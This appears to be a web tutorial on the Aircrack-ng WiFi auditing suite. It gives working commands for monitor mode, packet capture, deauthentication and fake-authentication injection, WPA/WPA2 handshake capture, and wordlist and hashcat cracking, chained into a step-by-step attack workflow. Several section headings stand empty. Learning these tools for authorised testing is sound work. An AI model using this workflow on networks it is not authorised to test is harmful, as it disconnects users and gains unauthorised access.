Aircrack-ng Guide: Complete Wireless Security Assessment
A comprehensive guide to the Aircrack-ng suite for wireless security testing including monitor mode, packet capture, deauthentication attacks, WPA/WPA2 cracking, and WEP analysis.
The Swiss Army Knife of Wireless Security
Aircrack-ng is a complete suite of tools for assessing WiFi network security architecture. It provides capabilities across the entire wireless assessment workflow: monitoring (packet capture), attacking (deauthentication, rogue APs), testing (WEP and WPA/WPA2 PSK cracking), and analysis. Pre-installed on Kali Linux, it is the industry standard toolkit for understanding weaknesses in wireless security deployments.
Prerequisites
Aircrack-ng Suite Components
airmon-ng — Monitor Mode Control
# Check interfaces and enable monitor mode
airmon-ng
airmon-ng check kill
airmon-ng start wlan0
airmon-ng start wlan0 6 # Specific channel
airodump-ng — Packet Capture
# Basic AP discovery
airodump-ng wlan0mon
# Target specific AP
airodump-ng -c 6 --bssid AP_MAC -w capture wlan0mon
# 5GHz band
airodump-ng --band a wlan0mon
aireplay-ng — Packet Injection
# Deauthentication attack
aireplay-ng -0 5 -a AP_MAC -c CLIENT_MAC wlan0mon
# Fake authentication
aireplay-ng -1 0 -e NETWORK_SSID -a AP_MAC wlan0mon
aircrack-ng — Password Cracking
aircrack-ng -w /usr/share/wordlists/rockyou.txt capture-01.cap
Practical Attack Workflow
# 1. Enable monitor mode
airmon-ng start wlan0
# 2. Discover networks
airodump-ng wlan0mon
# 3. Capture target traffic
airodump-ng -c 6 --bssid AP_MAC -w capture wlan0mon
# 4. Deauth client for handshake
aireplay-ng -0 2 -a AP_MAC -c CLIENT_MAC wlan0mon
# 5. Crack passphrase
aircrack-ng -w wordlist.txt capture-01.cap
Hashcat Integration
GPU-accelerated cracking is significantly faster than aircrack-ng's CPU implementation:
cap2hccapx capture-01.cap output.hccapx
hashcat -m 2500 output.hccapx /usr/share/wordlists/rockyou.txt
hashcat -m 2500 output.hccapx /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule
Common Mistakes
Best Practices
Related Tools
Related Articles
Summary
Aircrack-ng is the essential toolkit for wireless security assessment. From monitor mode to handshake capture and cracking, the suite provides all capabilities for thorough wireless testing. Success depends on compatible hardware, proper technique, and strong wordlists.